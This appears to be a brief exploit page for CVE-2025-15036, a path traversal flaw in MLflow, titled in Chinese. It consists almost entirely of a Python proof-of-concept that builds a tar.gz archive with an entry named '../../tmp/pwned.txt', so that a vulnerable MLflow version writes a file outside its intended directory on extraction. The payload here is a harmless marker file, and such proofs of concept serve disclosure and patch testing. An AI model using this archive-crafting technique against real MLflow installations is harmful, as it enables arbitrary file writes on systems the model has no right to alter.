CVE-2025-15036: MLflow路径遍历漏洞

import tarfile import io # Create a malicious tar.gz demonstrating the path traversal # This script creates a file named "../../tmp/pwned.txt" inside the archive. malicious_content = b"This file was written outside the intended directory via CVE-2025-15036." with tarfile.open("exploit.tar.gz", "w:gz") as tar: # TarInfo object representing the file info = tarfile.TarInfo(name="../../tmp/pwned.txt") info.size = len(malicious_content) # Add the file to the archive tar.addfile(info, io.BytesIO(malicious_content)) print("Malicious archive 'exploit.tar.gz' created successfully.") print("If extracted by a vulnerable MLflow version, it will write to /tmp/pwned.txt")